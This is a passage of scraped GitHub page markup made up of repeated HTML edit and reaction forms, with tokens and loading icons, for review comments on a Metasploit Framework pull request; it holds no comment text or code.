  <div class="comment-reactions-options js-comment-reactions-options">
  </div>
</form>

POST /rapid7/metasploit-framework/pull/15506/review_comment/683547276

<form class="js-comment-update" data-type="json" action="/rapid7/metasploit-framework/pull/15506/review_comment/683547276" accept-charset="UTF-8" method="post"><input type="hidden" name="_method" value="put" autocomplete="off"><input type="hidden"
    name="authenticity_token" value="AWZGAmEc5QBZ2t67BlBva3ntxe7cz2UqcRwGVOwYCzAEktsjvnZoKGc19AGzys3u5+CaaxlGFgqNekIz62Rk8A==" autocomplete="off">
  <include-fragment loading="lazy" src="/rapid7/metasploit-framework/pull/15506/review_comment/683547276/edit_form?textarea_id=discussion_r683547276-body&amp;comment_context=discussion"
    class="previewable-comment-form js-comment-edit-form-deferred-include-fragment">
    <p class="text-center mt-3" data-hide-on-error="">
      <svg aria-label="Loading..." style="box-sizing: content-box; color: var(--color-icon-primary);" width="32" height="32" viewBox="0 0 16 16" fill="none" data-view-component="true" class="anim-rotate">
        <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke"></circle>
        <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke"></path>
      </svg>
    </p>
    <p class="ml-1 mb-2 mt-2" data-show-on-error="" hidden="">
      <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert">
        <path fill-rule="evenodd"
          d="M8.22 1.754a.25.25 0 00-.44 0L1.698 13.132a.25.25 0 00.22.368h12.164a.25.25 0 00.22-.368L8.22 1.754zm-1.763-.707c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0114.082 15H1.918a1.75 1.75 0 01-1.543-2.575L6.457 1.047zM9 11a1 1 0 11-2 0 1 1 0 012 0zm-.25-5.25a.75.75 0 00-1.5 0v2.5a.75.75 0 001.5 0v-2.5z">
        </path>
      </svg> Sorry, something went wrong.
    </p>
  </include-fragment>
</form>

POST /rapid7/metasploit-framework/reactions

<form class="js-pick-reaction" action="/rapid7/metasploit-framework/reactions" accept-charset="UTF-8" method="post"><input type="hidden" name="_method" value="put" autocomplete="off"><input type="hidden" name="authenticity_token"
    value="/VAstqHbI7NSCa5MK+tFuvjL0HdXbZl+PyYbXlgLHu752U6eRuF9K+mzSG0hzWtQAZkqA3nsCTtC3mTFQb8itw==" autocomplete="off">
  <input type="hidden" name="input[subjectId]" value="MDI0OlB1bGxSZXF1ZXN0UmV2aWV3Q29tbWVudDY4MzU0NzI3Ng==">
  <div class="comment-reactions-options js-comment-reactions-options">
  </div>
</form>

POST /rapid7/metasploit-framework/issue_comments/905248359

<form class="js-comment-update" id="issuecomment-905248359-edit-form" action="/rapid7/metasploit-framework/issue_comments/905248359" accept-charset="UTF-8" method="post"><input type="hidden" name="_method" value="put" autocomplete="off"><input
    type="hidden" data-csrf="true" name="authenticity_token" value="tRqwslM+bZvE2PJ9PjZGphaWuSVxl7Nags8rqZMHnm1zOXw/9he7pHN33v3LYcrFvnSJbk5bWrn4RBmRSjsEKw==">
  <include-fragment loading="lazy" src="/rapid7/metasploit-framework/issue_comments/905248359/edit_form?textarea_id=issuecomment-905248359-body&amp;comment_context=" class="previewable-comment-form js-comment-edit-form-deferred-include-fragment">
    <p class="text-center mt-3" data-hide-on-error="">
      <svg aria-label="Loading..." style="box-sizing: content-box; color: var(--color-icon-primary);" width="32" height="32" viewBox="0 0 16 16" fill="none" data-view-component="true" class="anim-rotate">
        <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke"></circle>
        <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke"></path>
      </svg>
    </p>
    <p class="ml-1 mb-2 mt-2" data-show-on-error="" hidden="">
      <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert">
        <path fill-rule="evenodd"
          d="M8.22 1.754a.25.25 0 00-.44 0L1.698 13.132a.25.25 0 00.22.368h12.164a.25.25 0 00.22-.368L8.22 1.754zm-1.763-.707c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0114.082 15H1.918a1.75 1.75 0 01-1.543-2.575L6.457 1.047zM9 11a1 1 0 11-2 0 1 1 0 012 0zm-.25-5.25a.75.75 0 00-1.5 0v2.5a.75.75 0 001.5 0v-2.5z">
        </path>
      </svg> Sorry, something went wrong.
    </p>
  </include-fragment>
</form>

POST /rapid7/metasploit-framework/pull/15506/reviews/744310618/update

<form class="js-comment-update" data-type="json" action="/rapid7/metasploit-framework/pull/15506/reviews/744310618/update" accept-charset="UTF-8" method="post"><input type="hidden" name="_method" value="put" autocomplete="off"><input type="hidden"
    name="authenticity_token" value="xQZmgohkqhtsdn0PMGzQGscFlQcvMMvbVQ1Qh/vjGUqa9A8mXrTqUiZZsPK6237rx0vrJOPo5zSp4xvwOHIUfw==" autocomplete="off">
  <include-fragment loading="lazy" src="/rapid7/metasploit-framework/pull/15506/reviews/744310618/update/edit_form?textarea_id=pullrequestreview-744310618-body&amp;comment_context=discussion"
    class="previewable-comment-form js-comment-edit-form-deferred-include-fragment">
    <p class="text-center mt-3" data-hide-on-error="">
      <svg aria-label="Loading..." style="box-sizing: content-box; color: var(--color-icon-primary);" width="32" height="32" viewBox="0 0 16 16" fill="none" data-view-component="true" class="anim-rotate">
        <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke"></circle>
        <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke"></path>
      </svg>
    </p>
    <p class="ml-1 mb-2 mt-2" data-show-on-error="" hidden="">
      <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert">
        <path fill-rule="evenodd"
          d="M8.22 1.754a.25.25 0 00-.44 0L1.698 13.132a.25.25 0 00.22.368h12.164a.25.25 0 00.22-.368L8.22 1.754zm-1.763-.707c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0114.082 15H1.918a1.75 1.75 0 01-1.543-2.575L6.457 1.047zM9 11a1 1 0 11-2 0 1 1 0 012 0zm-.25-5.25a.75.75 0 00-1.5 0v2.5a.75.75 0 001.5 0v-2.5z">
        </path>
      </svg> Sorry, something went wrong.
    </p>
  </include-fragment>
</form>

POST /rapid7/metasploit-framework/reactions

<form class="js-pick-reaction" action="/rapid7/metasploit-framework/reactions" accept-charset="UTF-8" method="post"><input type="hidden" name="_method" value="put" autocomplete="off"><input type="hidden" name="authenticity_token"
    value="AusrOS+lZusocz0s0Z/greiR9UhYb7LXnERn/89LxzgGYkkRyJ84c5PJ2w3buc5HEcMPPHbuIpLhvBhk1v/7YQ==" autocomplete="off">
  <input type="hidden" name="input[subjectId]" value="MDE3OlB1bGxSZXF1ZXN0UmV2aWV3NzQ0MzEwNjE4">
  <div class="comment-reactions-options js-comment-reactions-options">
  </div>
</form>

POST /rapid7/metasploit-framework/pull/15506/review_comment/700491349

<form class="js-comment-update" data-type="json" action="/rapid7/metasploit-framework/pull/15506/review_comment/700491349" accept-charset="UTF-8" method="post"><input type="hidden" name="_method" value="put" autocomplete="off"><input type="hidden"
    name="authenticity_token" value="3r6meuUGkxreOzncw9KfpDjp0bo+9GWYma2OBlWlEr0D0HnqmTMt+l3PqqPtZRYSgDZRLKdIR7i2tpr+n2GALw==" autocomplete="off">
  <include-fragment loading="lazy" src="/rapid7/metasploit-framework/pull/15506/review_comment/700491349/edit_form?textarea_id=discussion_r700491349-body&amp;comment_context=discussion"
    class="previewable-comment-form js-comment-edit-form-deferred-include-fragment">
    <p class="text-center mt-3" data-hide-on-error="">
      <svg aria-label="Loading..." style="box-sizing: content-box; color: var(--color-icon-primary);" width="32" height="32" viewBox="0 0 16 16" fill="none" data-view-component="true" class="anim-rotate">
        <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke"></circle>
        <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke"></path>
      </svg>
    </p>
    <p class="ml-1 mb-2 mt-2" data-show-on-error="" hidden="">
      <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert">
        <path fill-rule="evenodd"
          d="M8.22 1.754a.25.25 0 00-.44 0L1.698 13.132a.25.25 0 00.22.368h12.164a.25.25 0 00.22-.368L8.22 1.754zm-1.763-.707c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0114.082 15H1.918a1.75 1.75 0 01-1.543-2.575L6.457 1.047zM9 11a1 1 0 11-2 0 1 1 0 012 0zm-.25-5.25a.75.75 0 00-1.5 0v2.5a.75.75 0 001.5 0v-2.5z">
        </path>
      </svg> Sorry, something went wrong.
    </p>
  </include-fragment>
</form>

POST /rapid7/metasploit-framework/reactions

<form class="js-pick-reaction" action="/rapid7/metasploit-framework/reactions" accept-charset="UTF-8" method="post"><input type="hidden" name="_method" value="put" autocomplete="off"><input type="hidden" name="authenticity_token"
    value="O6B8AKVYTiTiz5JTmwDvOv4icEjtoNV5Xoy6tF9FmCA/KR4oQmIQvFl1dHKRJsHQB3CKPMMhRTwjdMUvRvGkeQ==" autocomplete="off">
  <input type="hidden" name="input[subjectId]" value="MDI0OlB1bGxSZXF1ZXN0UmV2aWV3Q29tbWVudDcwMDQ5MTM0OQ==">
  <div class="comment-reactions-options js-comment-reactions-options">
  </div>
</form>

POST /rapid7/metasploit-framework/pull/15506/review_comment/702386703

<form class="js-comment-update" data-type="json" action="/rapid7/metasploit-framework/pull/15506/review_comment/702386703" accept-charset="UTF-8" method="post"><input type="hidden" name="_method" value="put" autocomplete="off"><input type="hidden"
    name="authenticity_token" value="7+QuqEJjm07Mf3vaeWEpaItXcZmkoZbPJKGvgVgbFGBeWGEIRZ4gnDxgXxO40fdA7YYB7cwmwjqXEeI9Ro1qkg==" autocomplete="off">
  <include-fragment loading="lazy" src="/rapid7/metasploit-framework/pull/15506/review_comment/702386703/edit_form?textarea_id=discussion_r702386703-body&amp;comment_context=discussion"
    class="previewable-comment-form js-comment-edit-form-deferred-include-fragment">
    <p class="text-center mt-3" data-hide-on-error="">
      <svg aria-label="Loading..." style="box-sizing: content-box; color: var(--color-icon-primary);" width="32" height="32" viewBox="0 0 16 16" fill="none" data-view-component="true" class="anim-rotate">
        <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke"></circle>
        <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke"></path>
      </svg>
    </p>
    <p class="ml-1 mb-2 mt-2" data-show-on-error="" hidden="">
      <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert">
        <path fill-rule="evenodd"
          d="M8.22 1.754a.25.25 0 00-.44 0L1.698 13.132a.25.25 0 00.22.368h12.164a.25.25 0 00.22-.368L8.22 1.754zm-1.763-.707c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0114.082 15H1.918a1.75 1.75 0 01-1.543-2.575L6.457 1.047zM9 11a1 1 0 11-2 0 1 1 0 012 0zm-.25-5.25a.75.75 0 00-1.5 0v2.5a.75.75 0 001.5 0v-2.5z">
        </path>
      </svg> Sorry, something went wrong.
    </p>
  </include-fragment>
</form>

POST /rapid7/metasploit-framework/reactions

<form class="js-pick-reaction" action="/rapid7/metasploit-framework/reactions" accept-charset="UTF-8" method="post"><input type="hidden" name="_method" value="put" autocomplete="off"><input type="hidden" name="authenticity_token"
    value="fKQfP30PVMt71murqQYF853zc+sYbSS0hsD930yC/rl4LX0XmjUKU8BsjYqjICsZZKGJnzbstPH7OIJEVTbC4A==" autocomplete="off">
  <input type="hidden" name="input[subjectId]" value="MDI0OlB1bGxSZXF1ZXN0UmV2aWV3Q29tbWVudDcwMjM4NjcwMw==">
  <div class="comment-reactions-options js-comment-reactions-options">
  </div>
</form>

POST /rapid7/metasploit-framework/pull/15506/review_comment/700506542

<form class="js-comment-update" data-type="json" action="/rapid7/metasploit-framework/pull/15506/review_comment/700506542" accept-charset="UTF-8" method="post"><input type="hidden" name="_method" value="put" autocomplete="off"><input type="hidden"
    name="authenticity_token" value="nNB7BEMfMZNl3PQnVDWpw1zZ6fXW+HYsDx4tUJxNS0zkMtXndDYkGuJYDu/SukGfGk1sEI4fJZnnkRPp4sF0eQ==" autocomplete="off">
  <include-fragment loading="lazy" src="/rapid7/metasploit-framework/pull/15506/review_comment/700506542/edit_form?textarea_id=discussion_r700506542-body&amp;comment_context=discussion"
    class="previewable-comment-form js-comment-edit-form-deferred-include-fragment">
    <p class="text-center mt-3" data-hide-on-error="">
      <svg aria-label="Loading..." style="box-sizing: content-box; color: var(--color-icon-primary);" width="32" height="32" viewBox="0 0 16 16" fill="none" data-view-component="true" class="anim-rotate">
        <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke"></circle>
        <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke"></path>
      </svg>
    </p>
    <p class="ml-1 mb-2 mt-2" data-show-on-error="" hidden="">
      <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert">
        <path fill-rule="evenodd"
          d="M8.22 1.754a.25.25 0 00-.44 0L1.698 13.132a.25.25 0 00.22.368h12.164a.25.25 0 00.22-.368L8.22 1.754zm-1.763-.707c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0114.082 15H1.918a1.75 1.75 0 01-1.543-2.575L6.457 1.047zM9 11a1 1 0 11-2 0 1 1 0 012 0zm-.25-5.25a.75.75 0 00-1.5 0v2.5a.75.75 0 001.5 0v-2.5z">
        </path>
      </svg> Sorry, something went wrong.
    </p>
  </include-fragment>
</form>

POST /rapid7/metasploit-framework/reactions

<form class="js-pick-reaction" action="/rapid7/metasploit-framework/reactions" accept-charset="UTF-8" method="post"><input type="hidden" name="_method" value="put" autocomplete="off"><input type="hidden" name="authenticity_token"
    value="Cjk66L34dbNNEsMB36tJ2oZf8sc+cjWJpugkvPlMpdMOsFjAWsIrK/aoJSDVjWcwfw0IsxDzpczbEFsn4PiZig==" autocomplete="off">
  <input type="hidden" name="input[subjectId]" value="MDI0OlB1bGxSZXF1ZXN0UmV2aWV3Q29tbWVudDcwMDUwNjU0Mg==">
  <div class="comment-reactions-options js-comment-reactions-options">
  </div>
</form>

POST /rapid7/metasploit-framework/pull/15506/review_comment/702386742

<form class="js-comment-update" data-type="json" action="/rapid7/metasploit-framework/pull/15506/review_comment/702386742" accept-charset="UTF-8" method="post"><input type="hidden" name="_method" value="put" autocomplete="off"><input type="hidden"
    name="authenticity_token" value="MXcBphVCfEUZhOnU+dmH9tfbEoAPR2R4DK6wml/n31H8YfT/B/M54imKvfVAGqU4rdA4F//7a45eLOku1OlAUA==" autocomplete="off">
  <include-fragment loading="lazy" src="/rapid7/metasploit-framework/pull/15506/review_comment/702386742/edit_form?textarea_id=discussion_r702386742-body&amp;comment_context=discussion"
    class="previewable-comment-form js-comment-edit-form-deferred-include-fragment">
    <p class="text-center mt-3" data-hide-on-error="">
      <svg aria-label="Loading..." style="box-sizing: content-box; color: var(--color-icon-primary);" width="32" height="32" viewBox="0 0 16 16" fill="none" data-view-component="true" class="anim-rotate">
        <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke"></circle>
        <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke"></path>
      </svg>
    </p>
    <p class="ml-1 mb-2 mt-2" data-show-on-error="" hidden="">
      <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert">
        <path fill-rule="evenodd"
          d="M8.22 1.754a.25.25 0 00-.44 0L1.698 13.132a.25.25 0 00.22.368h12.164a.25.25 0 00.22-.368L8.22 1.754zm-1.763-.707c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0114.082 15H1.918a1.75 1.75 0 01-1.543-2.575L6.457 1.047zM9 11a1 1 0 11-2 0 1 1 0 012 0zm-.25-5.25a.75.75 0 00-1.5 0v2.5a.75.75 0 001.5 0v-2.5z">
        </path>
      </svg> Sorry, something went wrong.
    </p>
  </include-fragment>
</form>

POST /rapid7/metasploit-framework/reactions

<form class="js-pick-reaction" action="/rapid7/metasploit-framework/reactions" accept-charset="UTF-8" method="post"><input type="hidden" name="_method" value="put" autocomplete="off"><input type="hidden" name="authenticity_token"
    value="GL09OoiveZEKLylMG1SSNVtHvs0CLT+DCkjA7qGgmlIcNF8Sb5UnCbGVz20RcrzfohVEuSysr8Z3sL91uBSmCw==" autocomplete="off">
  <input type="hidden" name="input[subjectId]" value="MDI0OlB1bGxSZXF1ZXN0UmV2aWV3Q29tbWVudDcwMjM4Njc0Mg==">
  <div class="comment-reactions-options js-comment-reactions-options">
  </div>
</form>

POST /rapid7/metasploit-framework/pull/15506/review_comment/700555500

<form class="js-comment-update" data-type="json" action="/rapid7/metasploit-framework/pull/15506/review_comment/700555500" accept-charset="UTF-8" method="post"><input type="hidden" name="_method" value="put" autocomplete="off"><input type="hidden"
    name="authenticity_token" value="NUZ5IRDdWGyBe5gspEJheGLQFtd8gvmSVifKEjuEcjCdzIw+xGTd7sHnsCYleFyzJkcAlYkKfYtlJVTPDZ/i3Q==" autocomplete="off">
  <include-fragment loading="lazy" src="/rapid7/metasploit-framework/pull/15506/review_comment/700555500/edit_form?textarea_id=discussion_r700555500-body&amp;comment_context=discussion"
    class="previewable-comment-form js-comment-edit-form-deferred-include-fragment">
    <p class="text-center mt-3" data-hide-on-error="">
      <svg aria-label="Loading..." style="box-sizing: content-box; color: var(--color-icon-primary);" width="32" height="32" viewBox="0 0 16 16" fill="none" data-view-component="true" class="anim-rotate">
        <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke"></circle>
        <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke"></path>
      </svg>
    </p>
    <p class="ml-1 mb-2 mt-2" data-show-on-error="" hidden="">
      <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert">
        <path fill-rule="evenodd"
          d="M8.22 1.754a.25.25 0 00-.44 0L1.698 13.132a.25.25 0 00.22.368h12.164a.25.25 0 00.22-.368L8.22 1.754zm-1.763-.707c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0114.082 15H1.918a1.75 1.75 0 01-1.543-2.575L6.457 1.047zM9 11a1 1 0 11-2 0 1 1 0 012 0zm-.25-5.25a.75.75 0 00-1.5 0v2.5a.75.75 0 001.5 0v-2.5z">
        </path>
      </svg> Sorry, something went wrong.
    </p>
  </include-fragment>
</form>

POST /rapid7/metasploit-framework/reactions

<form class="js-pick-reaction" action="/rapid7/metasploit-framework/reactions" accept-charset="UTF-8" method="post"><input type="hidden" name="_method" value="put" autocomplete="off"><input type="hidden" name="authenticity_token"
    value="u8sV0chR+NDI3seS0q885apk/4Y0MhhC0OweuFNdhAS/Qnf5L2umSHNkIbPYiRIPUzYF8hqziAetFGEjSum4XQ==" autocomplete="off">
  <input type="hidden" name="input[subjectId]" value="MDI0OlB1bGxSZXF1ZXN0UmV2aWV3Q29tbWVudDcwMDU1NTUwMA==">
  <div class="comment-reactions-options js-comment-reactions-options">
  </div>
</form>

POST /rapid7/metasploit-framework/pull/15506/review_comment/702386913

<form class="js-comment-update" data-type="json" action="/rapid7/metasploit-framework/pull/15506/review_comment/702386913" accept-charset="UTF-8" method="post"><input type="hidden" name="_method" value="put" autocomplete="off"><input type="hidden"
    name="authenticity_token" value="JeA4Ix9vrEnLq2XNGz/Gcf2rQdtuFTxGTG4cdqIFSY0L7khysFmUJuf9U0BJyLi++rLiXdpRHD5R2qgPx/ClFQ==" autocomplete="off">
  <include-fragment loading="lazy" src="/rapid7/metasploit-framework/pull/15506/review_comment/702386913/edit_form?textarea_id=discussion_r702386913-body&amp;comment_context=discussion"
    class="previewable-comment-form js-comment-edit-form-deferred-include-fragment">
    <p class="text-center mt-3" data-hide-on-error="">
      <svg aria-label="Loading..." style="box-sizing: content-box; color: var(--color-icon-primary);" width="32" height="32" viewBox="0 0 16 16" fill="none" data-view-component="true" class="anim-rotate">
        <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke"></circle>
        <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke"></path>
      </svg>
    </p>
    <p class="ml-1 mb-2 mt-2" data-show-on-error="" hidden="">
      <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert">
        <path fill-rule="evenodd"
          d="M8.22 1.754a.25.25 0 00-.44 0L1.698 13.132a.25.25 0 00.22.368h12.164a.25.25 0 00.22-.368L8.22 1.754zm-1.763-.707c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0114.082 15H1.918a1.75 1.75 0 01-1.543-2.575L6.457 1.047zM9 11a1 1 0 11-2 0 1 1 0 012 0zm-.25-5.25a.75.75 0 00-1.5 0v2.5a.75.75 0 001.5 0v-2.5z">
        </path>
      </svg> Sorry, something went wrong.
    </p>
  </include-fragment>
</form>

POST /rapid7/metasploit-framework/reactions

<form class="js-pick-reaction" action="/rapid7/metasploit-framework/reactions" accept-charset="UTF-8" method="post"><input type="hidden" name="_method" value="put" autocomplete="off"><input type="hidden" name="authenticity_token"
    value="eyrVRpPdxA9QE4iu59hqhj8Ka69Pi9p9cdlzzUvupU1/o7dudOeal+upbo/t/kRsxliR22EKSjgMIQxWUlqZFA==" autocomplete="off">
  <input type="hidden" name="input[subjectId]" value="MDI0OlB1bGxSZXF1ZXN0UmV2aWV3Q29tbWVudDcwMjM4NjkxMw==">
  <div class="comment-reactions-options js-comment-reactions-options">
  </div>
</form>

POST /rapid7/metasploit-framework/pull/15506/review_comment/700556234

<form class="js-comment-update" data-type="json" action="/rapid7/metasploit-framework/pull/15506/review_comment/700556234" accept-charset="UTF-8" method="post"><input type="hidden" name="_method" value="put" autocomplete="off"><input type="hidden"
    name="authenticity_token" value="gfm/OZ5NS0itcxkaqVw9qxrWmxwVzPQdCE/9DBBro9n3KJFrNPEtcb90y596L2i8Cxmw4nGgUf9hIkYhmHzwIg==" autocomplete="off">
  <include-fragment loading="lazy" src="/rapid7/metasploit-framework/pull/15506/review_comment/700556234/edit_form?textarea_id=discussion_r700556234-body&amp;comment_context=discussion"
    class="previewable-comment-form js-comment-edit-form-deferred-include-fragment">
    <p class="text-center mt-3" data-hide-on-error="">
      <svg aria-label="Loading..." style="box-sizing: content-box; color: var(--color-icon-primary);" width="32" height="32" viewBox="0 0 16 16" fill="none" data-view-component="true" class="anim-rotate">
        <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke"></circle>
        <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke"></path>
      </svg>
    </p>
    <p class="ml-1 mb-2 mt-2" data-show-on-error="" hidden="">
      <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert">
        <path fill-rule="evenodd"
          d="M8.22 1.754a.25.25 0 00-.44 0L1.698 13.132a.25.25 0 00.22.368h12.164a.25.25 0 00.22-.368L8.22 1.754zm-1.763-.707c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0114.082 15H1.918a1.75 1.75 0 01-1.543-2.575L6.457 1.047zM9 11a1 1 0 11-2 0 1 1 0 012 0zm-.25-5.25a.75.75 0 00-1.5 0v2.5a.75.75 0 001.5 0v-2.5z">
        </path>
      </svg> Sorry, something went wrong.
    </p>
  </include-fragment>
</form>

POST /rapid7/metasploit-framework/reactions

<form class="js-pick-reaction" action="/rapid7/metasploit-framework/reactions" accept-charset="UTF-8" method="post"><input type="hidden" name="_method" value="put" autocomplete="off"><input type="hidden" name="authenticity_token"
    value="233D208WR0C3i8cuVUf0HpRGU3zM4j3XVZ6dMfjqvojf9KHzqCwZ2AwxIQ9fYdr0bRSpCOJjrZIoZuKq4V6C0Q==" autocomplete="off">
  <input type="hidden" name="input[subjectId]" value="MDI0OlB1bGxSZXF1ZXN0UmV2aWV3Q29tbWVudDcwMDU1NjIzNA==">
  <div class="comment-reactions-options js-comment-reactions-options">
  </div>
</form>

POST /rapid7/metasploit-framework/pull/15506/review_comment/700556497

<form class="js-comment-update" data-type="json" action="/rapid7/metasploit-framework/pull/15506/review_comment/700556497" accept-charset="UTF-8" method="post"><input type="hidden" name="_method" value="put" autocomplete="off"><input type="hidden"
    name="authenticity_token" value="/WtfXRqAg0wSL9xMx3Ryz5ogG+91t8GDG0jWo2iEfYJ+D6dt5m/OrpTg/efnfILiG2+ALPjWn3fn/b2OdZrJSQ==" autocomplete="off">
  <include-fragment loading="lazy" src="/rapid7/metasploit-framework/pull/15506/review_comment/700556497/edit_form?textarea_id=discussion_r700556497-body&amp;comment_context=discussion"
    class="previewable-comment-form js-comment-edit-form-deferred-include-fragment">
    <p class="text-center mt-3" data-hide-on-error="">
      <svg aria-label="Loading..." style="box-sizing: content-box; color: var(--color-icon-primary);" width="32" height="32" viewBox="0 0 16 16" fill="none" data-view-component="true" class="anim-rotate">
        <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke"></circle>
        <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke"></path>
      </svg>
    </p>
    <p class="ml-1 mb-2 mt-2" data-show-on-error="" hidden="">
      <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert">
        <path fill-rule="evenodd"
          d="M8.22 1.754a.25.25 0 00-.44 0L1.698 13.132a.25.25 0 00.22.368h12.164a.25.25 0 00.22-.368L8.22 1.754zm-1.763-.707c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0114.082 15H1.918a1.75 1.75 0 01-1.543-2.575L6.457 1.047zM9 11a1 1 0 11-2 0 1 1 0 012 0zm-.25-5.25a.75.75 0 00-1.5 0v2.5a.75.75 0 001.5 0v-2.5z">
        </path>
      </svg> Sorry, something went wrong.
    </p>
  </include-fragment>
</form>

POST /rapid7/metasploit-framework/reactions

<form class="js-pick-reaction" action="/rapid7/metasploit-framework/reactions" accept-charset="UTF-8" method="post"><input type="hidden" name="_method" value="put" autocomplete="off"><input type="hidden" name="authenticity_token"
    value="YO+OXSzJoSWq+qAw7L7bfFqH5QkXibQUhf9YzjGdTrhkZux1y/P/vRFARhHmmPWWo9UffTkIJFH4BydVKCly4Q==" autocomplete="off">
  <input type="hidden" name="input[subjectId]" value="MDI0OlB1bGxSZXF1ZXN0UmV2aWV3Q29tbWVudDcwMDU1NjQ5Nw==">
  <div class="comment-reactions-options js-comment-reactions-options">
  </div>
</form>

POST /rapid7/metasploit-framework/pull/15506/review_comment/702387260

<form class="js-comment-update" data-type="json" action="/rapid7/metasploit-framework/pull/15506/review_comment/702387260" accept-charset="UTF-8" method="post"><input type="hidden" name="_method" value="put" autocomplete="off"><input type="hidden"
    name="authenticity_token" value="ZOU88KKzD3i3l+h8ti4f4cNhamxX/e1HxWxQtxNIne1YGKB4CeAGK7zb4QgKfTVzex1uuAOwaUwBjIvw1uyqTA==" autocomplete="off">
  <include-fragment loading="lazy" src="/rapid7/metasploit-framework/pull/15506/review_comment/702387260/edit_form?textarea_id=discussion_r702387260-body&amp;comment_context=discussion"
    class="previewable-comment-form js-comment-edit-form-deferred-include-fragment">
    <p class="text-center mt-3" data-hide-on-error="">
      <svg aria-label="Loading..." style="box-sizing: content-box; color: var(--color-icon-primary);" width="32" height="32" viewBox="0 0 16 16" fill="none" data-view-component="true" class="anim-rotate">
        <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke"></circle>
        <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke"></path>
      </svg>
    </p>
    <p class="ml-1 mb-2 mt-2" data-show-on-error="" hidden="">
      <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert">
        <path fill-rule="evenodd"
